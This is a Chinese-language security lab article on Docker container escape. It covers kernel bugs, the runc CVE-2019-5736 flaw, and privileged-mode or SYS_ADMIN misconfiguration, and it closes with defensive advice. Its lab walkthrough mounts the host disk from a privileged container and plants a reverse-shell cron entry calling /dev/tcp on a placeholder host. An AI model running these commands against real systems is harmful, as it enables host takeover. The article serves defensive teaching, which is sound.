您好,登錄后才能下訂單哦!
Docker是時下使用范圍最廣的開源容器技術(shù)之一,具有高效易用等優(yōu)點。由于設(shè)計的原因,Docker天生就帶有強大的安全性,甚至比虛擬機都要更安全,但你可曾想過“堅不可摧”的Docker也會被人攻破,Docker逃逸所造成的影響之大幾乎席卷了全球的Docker容器。本期美創(chuàng)安全實驗室將會帶大家研究造成Docker逃逸的根本原理以及相應(yīng)的防御方法。
Docker簡介
Docker是一種容器,容器的官方定義是:將軟件打包成標準化單元、以用于開發(fā)、交付和部署。容器的特點在于格式統(tǒng)一,運行速度快,所需資源小,并且可以層層重疊。
與虛擬機的架構(gòu)進行一下對比就可以看出,Docker整體的架構(gòu)更加輕巧,靈活。而且由于Docker是直接利用宿主機的系統(tǒng)內(nèi)核,所以可以做到幾秒鐘之內(nèi)創(chuàng)建大量的容器,他們的啟動速度是在數(shù)量級上的差距。
虛擬機與Docker架構(gòu)對比
(左為虛擬機架構(gòu)、右為Docker架構(gòu))
Docker逃逸原理
因為Docker所使用的是隔離技術(shù),就導(dǎo)致了容器內(nèi)的進程無法看到外面的進程,但外面的進程可以看到里面,所以如果一個容器可以訪問到外面的資源,甚至是獲得了宿主主機的權(quán)限,這就叫做“Docker逃逸”。
目前產(chǎn)生Docker逃逸的原因總共有三種:
一、由內(nèi)核漏洞引起。
二、由Docker軟件設(shè)計引起。
三、由特權(quán)模式與配置不當引起。
接下來依次對這三種逃逸方法做簡單說明。
01由于內(nèi)核漏洞引起的逃逸
因為Docker是直接共享的宿主主機內(nèi)核,所以當宿主主機的內(nèi)核存在安全漏洞時會一并影響Docker的安全,導(dǎo)致可能會造成Docker逃逸。具體流程如下:
①使用內(nèi)核漏洞進入內(nèi)核上下文
②獲取當前進程的task struct
③回溯task list 獲取pid=1的task struct,復(fù)制其相關(guān) 數(shù)據(jù)
④切換當前namespace
⑤打開root shell,完成逃逸
02由于Doker軟件設(shè)計引起的逃逸
比較典型的例子是Docker的標準化容器執(zhí)行引擎----runc。Runc曾在2019年2月被爆出來過一個Docker逃逸漏洞CVE-2019-5736。其漏洞原理是,Docker、Containerd或其他基于runc的容易在運行時存在安全漏洞,攻擊者可以通過特定的容器鏡像或者exec操作獲取到宿主機runc執(zhí)行文件時的文件句柄并修改掉runc的二進制文件,從而獲取到宿主機的root執(zhí)行權(quán)限,造成Docker逃逸。
03由于特權(quán)模式+目錄掛載引起的逃逸
這一種逃逸方法較其他兩種來說用的更多。特權(quán)模式在6.0版本的時候被引入Docker,其核心作用是允許容器內(nèi)的root擁有外部物理機的root權(quán)限,而此前在容器內(nèi)的root用戶只有外部物理機普通用戶的權(quán)限。
使用特權(quán)模式啟動容器后(docker run --privileged),Docker容器被允許可以訪問主機上的所有設(shè)備、可以獲取大量設(shè)備文件的訪問權(quán)限、并可以執(zhí)行mount命令進行掛載。
當控制使用特權(quán)模式的容器時,Docker管理員可通過mount命令將外部宿主機磁盤設(shè)備掛載進容器內(nèi)部,獲取對整個宿主機的文件讀寫權(quán)限,此外還可以通過寫入計劃任務(wù)等方式在宿主機執(zhí)行命令。
除了使用特權(quán)模式啟動Docker會引起Docker逃逸外,使用功能機制也會造成Docker逃逸。Linux內(nèi)核自版本2.2引入了功能機制(Capabilities),打破了UNIX/LINUX操作系統(tǒng)中超級用戶與普通用戶的概念,允許普通用戶執(zhí)行超級用戶權(quán)限方能運行的命令。例如當容器以--cap-add=SYSADMIN啟動,Container進程就被允許執(zhí)行mount、umount等一系列系統(tǒng)管理命令,如果攻擊者此時再將外部設(shè)備目錄掛載在容器中就會發(fā)生Docker逃逸。
Docker逃逸實驗(特權(quán)模式+目錄掛載)
目標機:192.168.210.37
目標機上對外開啟了Docker服務(wù),運行在2375端口上。直接訪問目標機的2375端口即可未授權(quán)查看Docker信息,如下:
查看當前docker中存在的所有容器:docker images
使用特權(quán)模式啟動容器
查看磁盤文件:fdisk -l
從返回結(jié)果來看sda1、sda2、sda3在/dev目錄下。
新建一個目錄/test,然后將/dev/sda1掛載到新建的目錄下
mkdir /test
mount /dev/sda1/test
這時再查看新建的目錄/test,就可以訪問宿主機上的目錄內(nèi)容了(/root目錄下的內(nèi)容)
同理,新建一個目錄/test2,將/dev/sda3掛載到新建的目錄下,并查看test2目錄下的內(nèi)容,發(fā)現(xiàn)可以訪問宿主機上/目錄下的內(nèi)容了
在計劃任務(wù)里寫入一個反彈shell:
echo '*****bash -i >& /dev/tcp/x.x.x.x/7777 0>&1'>> /test2/var/spool/cron/root
在Docker上開啟netcat監(jiān)聽7777端口,成功接收到宿主主機的Shell,實現(xiàn)Docker逃逸。
Docker逃逸防御
? 更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆蓋CVE-2019-5736。
? runc版本>1.0-rc6
? k8s 集群版本>1.12
? Linux內(nèi)核版本>=2.6.22——CVE-2016-5195(臟牛)
? Linux內(nèi)核版本>=4.14——CVE-2017–1000405(大臟牛),未找到docker逃逸利用過程,但存在逃逸風(fēng)險。
? 不建議以root權(quán)限運行Docker服務(wù)。
?不建議以privileged(特權(quán)模式)啟動Docker。
? 不建議將宿主機目錄掛載至容器目錄。
? 不建議將容器以—cap-add=SYSADMIN啟動,SYSADMIN意為container進程允許執(zhí)行mount、umount等一系列系統(tǒng)管理操作,存在容器逃逸風(fēng)險。
美創(chuàng)科技聚焦數(shù)據(jù)安全,圍繞數(shù)據(jù)安全、災(zāi)難備份、數(shù)據(jù)管理、智能運維等多方面挖掘和鑄造數(shù)據(jù)價值,憑借卓越的產(chǎn)品技術(shù)和服務(wù)贏得了眾多行業(yè)的認可和用戶口碑!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。